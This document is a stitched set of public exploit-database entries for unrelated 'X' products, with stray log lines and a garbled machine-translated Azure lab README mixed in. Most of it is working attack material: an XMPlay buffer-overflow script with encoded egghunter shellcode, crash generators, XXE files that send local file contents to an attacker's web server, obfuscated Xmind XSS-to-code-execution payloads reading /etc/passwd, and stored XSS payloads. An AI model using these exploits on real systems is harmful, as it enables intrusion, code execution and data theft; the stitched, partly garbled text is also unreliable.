xnbd-server(12462) msg: daemonize enabled
xnbd-server(12462) msg: cmd target mode
xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
xnbd-server(12462) msg: xnbd master initialization done
xnbd-server(12462) msg: logfile /tmp/xnbd.log
$ ls -l ~/ATTACK_TARGET
-rw------- 1 user123 user123 653 Feb 1 16:41 \
/home/user123/ATTACK_TARGET
# Exploit Title: Xnami Image Sharing - Persistent XSS Vulnerability
# Google Dork: " Copyright 2017 xnami. " & 2018
# Date: 11-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: bizlogicdev.com
# Version: 1.0
# CVE-ID: CVE-2018-5370
Xnami facilitates the creation of an image sharing community. This is
similar in
functionality to sites like imgur, ImageShack, et al.
BizLogic xnami 1.0 has XSS via the comment parameter in an addComment
action to the /media/ajax URI.
At any uploaded media there is a comment system where people can post (also
anonymous).
The comment system is vulnerable to XSS attacks. Since it's persistent
and there is an user login interface, it's possible for attackers to
steal sessions of users and thus admin(s).
---------------------------
---------------------------
PoC with mediaId 611 as example:
POST:
http://{{target}/media/ajax
method: addComment
comment: "><XSSCODE<
mediaId 611
---------------------------
---------------------------
Evil javascript code can be inserted and will be executed when visiting the
media.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: XMPlay 3.8.3 - '.m3u' Code Execution (PoC)
# Date: 2018-12-19
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP SP3
# CVE : Reserved
#
# Developer notified & delivered PoC but not interested in fixing :P
#
# Reproduction Steps:
# Lauch XMPlay & run this PoC script - it will create a file in the same directory named xmplay.m3u
# Either drag xmplay.m3u into the XMPlay window or File Menu-> select winamp.m3u. Application will "load"
# for a minute (exploit searching through memory for payload) and eventually launch calc.exe
#
# Major Shouts @Gokhan @foolsofsecurity for helping turn the DoS into Code execution & me into more of a
# beast!
from struct import pack
max_size = 728
# C:\Documents and Settings\Administrator\Desktop\Exploit Dev\xmplay_383-poc.py
eip_offset = 500
file_header = "#EXTM3U\n\r"
file_header += "#EXTINF:200,Sleep Away\n\r"
file_header += "http://test."
# cat egghunter.txt | tr -d '"' | tr -d '\n' | tr -d '\\x' | xxd -r -p > egghunter.bin
# msfvenom -p generic/custom PAYLOADFILE=egghunter.bin -e x86/alpha_mixed BufferRegister=EDX -a x86 --platform Windows
encoded_egg_hunter = (""
"\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50"
"\x38\x41\x42\x75\x4a\x49\x62\x46\x6f\x71\x4b\x7a\x49\x6f\x44"
"\x4f\x53\x72\x36\x32\x61\x7a\x46\x62\x66\x38\x78\x4d\x64\x6e"
"\x75\x6c\x75\x55\x63\x6a\x54\x34\x68\x6f\x6d\x68\x63\x47\x34"
"\x70\x54\x70\x72\x54\x4e\x6b\x58\x7a\x4e\x4f\x42\x55\x6b\x5a"
"\x4c\x6f\x31\x65\x78\x67\x59\x6f\x39\x77\x41\x41")
encoded_calc = "w00tw00t" + "\x57\x58\x04\x06\x50\x5E" # PUSH EDI, POP EAX, ADD AL,6, PUSH EAX, POP ESI
encoded_calc += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49"
encoded_calc += "\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51"
encoded_calc += "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
encoded_calc += "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
encoded_calc += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75"
encoded_calc += "\x4a\x49\x36\x51\x49\x59\x52\x71\x61\x78"
encoded_calc += "\x75\x33\x50\x61\x72\x4c\x31\x73\x73\x64"
encoded_calc += "\x6e\x58\x49\x57\x6a\x33\x39\x52\x64\x37"
encoded_calc += "\x6b\x4f\x38\x50\x41\x41"
egg_addr_to_edx = ""
egg_addr_to_edx += "\x54" # PUSH ESP
egg_addr_to_edx += "\x58" # POP EAX
egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C
egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C
egg_addr_to_edx += "\x2D\x3C\x55\x55\x55" # SUB EAX,5555553C
egg_addr_to_edx += "\x50" # PUSH eax
egg_addr_to_edx += "\x5A" # POP EDX
payload = "A" * 12
payload += encoded_calc
payload += "A" * (eip_offset - len(payload))
print "Length of payload " + str(len(payload))
payload += pack("<L", 0x78196d4d) # Jmp esp OS DLL
payload += "BBBB"
payload += egg_addr_to_edx
payload += "C" * (76 - len(egg_addr_to_edx) )
payload += encoded_egg_hunter
payload += "C" * (max_size - len(payload))
stupid_char = "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))
exploit = file_header + payload + stupid_char
file = open('xmplay.m3u','w')
file.write(exploit)
file.close();
print "[+] Done creating the file"
# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
# Date: 2018-11-18
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP/7/8
# CVE : N/A
#
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
# File Menu-> select winamp.m3u and Crash!
# -*- coding: utf-8 -*-
#
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH
# but the address get mangled & unreconizable, for this reason could not turn into
# code execution.
import struct
from struct import pack
file_data = "#EXTM3U\n\r"
file_data += "#EXTINF:200,Sleep Away\n\r"
file_data += "http://test."
max_size = 3000 - 1
nseh_offset = 656
seh_overwrite = pack("<L", 0x00402450)
payload = "A" * nseh_offset # padding for nseh
payload += "BBBB" # nseh
payload += seh_overwrite # seh
#padding for rest of payload - pipe "|" is needed somehow to force crash
payload += "D" *(max_size - len(payload)) + "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))
exploit = file_data + payload
file = open('xmplay.m3u','w');
file.write(exploit);
file.close();
print "[+] Done creating the file"
#!/usr/bin/env python
#
# Exploit Title: XMPlay .pls Local Crash poc
# Date: 2015-08-16
# Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: http://www.un4seen.com/
# Software Link: http://www.un4seen.com/download.php?xmplay38
# Version: 3.8.1.12
# Tested on: Windows 7
#
# Stack Overflowing xmplay, but we can't
# rewrite any register ou SE Handler
def generateCrash():
crash="""[playlist]
numberofentries=1
file1="""
crash+="pwned"*1000000
return crash
try:
f=open("xmplay.pls","w")
f.write(generateCrash())
f.close
print "Evil xmplay.pls generated!"
except:
print "I can't create file :/"
source: https://www.securityfocus.com/bid/61491/info
XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.
Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.
<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>
# Exploit Title: XMLBlueprint 16.191112 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-14
# Vendor: XMLBlueprint XML Editor
# Software Link: https://www.xmlblueprint.com/update/download-64bit.exe
# Affected Version: 16.191112 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19032
# References:
# https://hackpuntes.com/cve-2019-19032-xmlblueprint-16-191112-inyeccion-xml/
# 1. Technical Description
# XMLBlueprint XML Editor version 16.191112 and before are affected by XML External Entity
# Injection vulnerability through the malicious XML file. This allows a malicious user
# to read arbitrary files.
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.
python -m SimpleHTTPServer 80
# 2.2 Upload the payload.dtd file to your web server.
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;
# 2.3 Create a secret.txt file with any content in desktop.
# 2.4 Open poc.xml and click XML -> Validate
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\jolmedo\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
# 2.5 Your web server will receive a request with the contents of the secret.txt file
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -
# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER] Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure
# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
# Date: 2019-11-11
# Exploit Author: 8-Team / daejinoh
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://github.com/microsoft/XmlNotepad
# Version: XML Notepad 2.8.0.4
# Tested on: Windows 10 Pro
# CVE : N/A
# Step
1) File -> Open -> *.xml
# Exploit Code
1) Server(python 3.7) : python -m http.server
2) Poc.xml :
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;
--------------------------------------------------------------------------------
# Exploit Title: Xmind 2020 - XSS to RCE
# Exploit Author: TaurusOmar
# Date: May 4th, 2021
# CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
# Risk: High (8.8)
# Vendor Homepage: https://www.xmind.net/
# Version: 2020
# Tested on: Windows, Linux, MacOs
# Software Description:
XMind, a full-featured mind mapping and brainstorming tool, designed to generate ideas, inspire creativity, brings efficiency both in work and life. Millions and millions of WFH people love it.
Many great products start with a small idea. Mind map can really be useful at the beginning of a project. Use it to record every idea in the meeting, you might be surprised by the difference and achievement it makes in the long run.
# Vulnerability Description:
The software allows you to store payloads in the form of files or as custom header titles, once the malicious code is entered, the payload will be executed when the victim moves the mouse or clicks.
The attacker can send a malicious file with the payload, when this file is opened, the chain will be executed successfully giving access to the
the remote attacker to get remote execution on the computer.
#Proof video
https://imgur.com/a/t96Nxo5
# Payload 2: exec(/etc/passwd)
#Decode Payload
<script>
const { spawn } = require("child_process");
const cat = spawn("cat", ["/etc/passwd"]);
cat.stdout.on("data", data => {
alert(`stdout: ${data}`);
});</script>
#Encode Payload
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,99,111,110,115,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,99,111,110,115,116,32,99,97,116,32,61,32,115,112,97,119,110,40,34,99,97,116,34,44,32,91,34,47,101,116,99,47,112,97,115,115,119,100,34,93,41,59,10,99,97,116,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,10,125,41,59,60,47,115,99,114,105,112,116,62))>
# Payload 2: exec(calc)
#Decode Payload
<script>
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/usr/bin/gnome-calculator',cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
</script>
#Encode Payload
<img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>
# File Malicious.json Payload
[{"id":"5609f1388fd8c10e8f8798f104","class":"sheet","title":"Map 1","rootTopic":{"id":"b9aa22deba98b3b20c7ac8aca2","class":"topic","title":"\">'><img src=x onerror=writeln(String.fromCharCode(60,115,99,114,105,112,116,62,10,108,101,116,32,123,32,115,112,97,119,110,32,125,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,59,10,108,101,116,32,108,115,32,61,32,115,112,97,119,110,40,34,108,115,34,44,32,91,34,45,108,97,34,93,41,59,10,108,115,46,115,116,100,111,117,116,46,111,110,40,34,100,97,116,97,34,44,32,100,97,116,97,32,61,62,32,123,10,32,32,32,32,97,108,101,114,116,40,96,115,116,100,111,117,116,58,32,36,123,100,97,116,97,125,96,41,59,125,41,59,60,47,115,99,114,105,112,116,62,10,10))>","structureClass":"org.xmind.ui.map.unbalanced","children":{"attached":[{"id":"b58888b5ceebbf0e68dada0656","title":"Main Topic 1","titleUnedited":true},{"id":"193b56735e689ae86a01d91513","title":"Main Topic 2","titleUnedited":true},{"id":"67ddbcb1-85c9-4478-a0aa-580e9fdcd971","title":"Main Topic 3","titleUnedited":true}]},"extensions":[{"content":[{"content":"3","name":"right-number"}],"provider":"org.xmind.ui.map.unbalanced"}]},"theme":{"id":"c669ec6d4d48895260d968fc99","importantTopic":{"type":"topic","properties":{"fo:font-weight":"bold","fo:color":"#2b2b2b","svg:fill":"#FFDC34"}},"minorTopic":{"type":"topic","properties":{"fo:font-weight":"bold","fo:color":"#2b2b2b","svg:fill":"#AB9738"}},"expiredTopic":{"type":"topic","properties":{"fo:font-style":"italic","fo:text-decoration":" line-through"}},"centralTopic":{"type":"topic","styleId":"9a13b7d6-cd05-44c3-b903-6c3a50edc46e","properties":{"shape-class":"org.xmind.topicShape.roundedRect","svg:fill":"#1B1B1D","fo:font-family":"Montserrat","fo:font-weight":"600","fo:font-style":"normal","line-width":"3","line-color":"#292929","border-line-width":"0"}},"map":{"type":"map","styleId":"f0e1f9bb-a8f5-486a-a70a-b72b2b6560d3","properties":{"svg:fill":"#000000"}},"subTopic":{"type":"topic","styleId":"9ea90eed-1da0-4c93-bac4-2085e16a0faf","properties":{"fo:font-family":"Montserrat","svg:fill":"#636366","shape-class":"org.xmind.topicShape.roundedRect","fo:font-size":"14pt","fo:text-align":"left","border-line-width":"0","fo:color":"#FFFFFF"}},"mainTopic":{"type":"topic","styleId":"42065f7f-018c-4eb9-9dc7-3a7bbf464915","properties":{"fo:font-family":"Montserrat","svg:fill":"#3A3A3C","border-line-width":"0","fo:font-weight":"600","fo:font-style":"normal","fo:font-size":"18pt","fo:text-align":"left","fo:color":"#FFFFFF","line-width":"2"}},"summaryTopic":{"type":"topic","styleId":"c8f4c32b-2607-4fae-bb85-b8736039e941","properties":{"fo:font-family":"Montserrat","svg:fill":"#8E8E93","fo:font-weight":"500","fo:font-style":"normal","line-color":"#292929","border-line-width":"0"}},"calloutTopic":{"type":"topic","styleId":"6f8bd667-fb82-4d0d-899f-05dc76c5945e","properties":{"fo:font-family":"Montserrat","svg:fill":"#8E8E93","fo:font-size":"14pt","fo:font-weight":"500","fo:font-style":"normal"}},"floatingTopic":{"type":"topic","styleId":"c9509bc2-2641-4f5f-8b38-e62c14c907f9","properties":{"fo:font-family":"Montserrat","border-line-width":"0","fo:font-weight":"500","fo:font-style":"normal","line-width":"2","line-color":"#292929"}},"boundary":{"type":"boundary","styleId":"0d7cf959-3b54-4849-88e1-cc0fc8c60341","properties":{"svg:fill":"#545455","shape-class":"org.xmind.boundaryShape.roundedRect","line-color":"#5D5D60","fo:font-weight":"500","fo:font-style":"normal","fo:color":"#FFFFFF","fo:font-size":"13pt","fo:font-family":"Montserrat"}},"relationship":{"type":"relationship","styleId":"57da2f8e-3f8d-47ee-a802-93023fc802c1","properties":{"line-color":"#8E8E93","line-width":"2","fo:font-weight":"500","fo:font-style":"normal","fo:font-family":"Montserrat","fo:color":"#FFFFFF","fo:font-size":"13pt"}},"summary":{"type":"summary","styleId":"ddeb9d94-1678-4129-8796-42b036e08dd2","properties":{"line-color":"#5A5A5A"}}},"topicPositioning":"fixed"}]
XM山羊由XM网络地形模板组成，可帮助您了解常见的Azure安全问题。每个模板都是一个脆弱的环境，具有一些重大的配置。您的工作是攻击和妥协环境。
这是每个环境的工作:
运行安装然后开始。
使用初始用户和服务主凭据，根据方案流攻击环境（例如，xmgoat/scenarios/saceario_1/saceario1_flow.png）。
如果您需要在攻击方面的帮助，请参阅解决方案（例如，XMGOAT/scenarios/scenario_1/solution.md）。
学习攻击后，清理。
要求
Azure房客Terafform版本1.0.9或更高版本Azure CLI Azure Azure用户具有所有者在AAD
安装
中的所有者权限和全局管理权限
$ AZ登录
$ git克隆https://github.com/xmcyber/xmgoat.git
$ CD XMGOAT
$ CD场景
$ CD方案_ \方案其中\方案是您要完成的方案编号
$ Terraform Init
$ Terraform Plan -out \ filename
$ Terraform Apply \ filename其中\ filename是输出文件的名称
入门
要获得初始用户和服务主凭据，请运行以下查询:
$ Terraform输出-JSON用于服务主体，使用application_id.value和application_secret.value。
对于用户，使用username.value和password.value。
清理
完成方案后，运行以下命令以清洁房客中创建的所有资源
$ AZ登录
$ CD XMGOAT
$ CD场景
$ CD方案_ \方案其中\方案是您要完成的方案编号
$ Terraform销毁
#Exploit Title: XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service
#Exploit Author : ZwX
#Exploit Date: 2019-11-18
#Vendor Homepage : https://www.xmedia-recode.de/
#Link Software : https://www.xmedia-recode.de/download.php
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: msk4@live.fr
'''
Proof of Concept (PoC):
=======================
1.Download and install XMedia Recode
2.Run the python operating script that will create a file (poc.m3u)
3.Run the software "File -> Open File -> Add the file (.m3u) "
4.XMedia Recode Crashed
'''
#!/usr/bin/python
http = "http://"
buffer = "\x41" * 500
poc = http + buffer
file = open("poc.m3u,"w")
file.write(poc)
file.close()
print "POC Created by ZwX"
# Exploit Title: Persistent XSS in XMB 1.9.12.06
# Date: 06/12/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.xmbforum2.com/
# Software Link: https://www.xmbforum2.com/download/XMB-1.9.12.06.zip
# Version: 1.9.12.06
# Tested on: Windows XP
# CVE: N/A
## Vulnerability Details
A persistent (stored) XSS vulnerability was discovered in XMB 1.9.12.06.
The vulnerability allows an attacker to inject malicious JavaScript code
into a template or specific fields. This payload is stored on the server
and executed in the browser of any user who visits the forum, leading to
potential session hijacking, data theft, and other malicious activities.
### XSS in Template
An attacker can inject malicious JavaScript code into a template:
1. Login as Admin: Access the XMB Forum with admin privileges.
2. Navigate to the Administration Panel: Go to `/cp.php`, then in "Look &
Feel" select "Templates". This will go to `/cp2.php?action=templates`.
Select the "footer" template and click edit.
3. Enter Payload: Add the XSS payload in the footer template:
<script>alert('XSS');</script>
4. Save the Change: Click "Submit Changes".
5. Trigger the Payload: The XSS payload will trigger anywhere the footer
template is rendered.
### XSS in News Ticker
An attacker can inject malicious JavaScript code into the News Ticker field
of the Front Page Options:
1. Login as Admin: Access the XMB Forum with admin privileges.
2. Navigate to the Administration Panel: Go to `/cp.php`, then in
"Settings" go to "Front Page Options".
3. Enter Payload: Add the XSS payload in the "News in Newsticker" field:
<img src=x onerror=alert(1)>
4. Save the Change: Click "Submit Changes".
5. Trigger the Payload: The XSS payload will trigger anywhere the News
Ticker is displayed eg, home page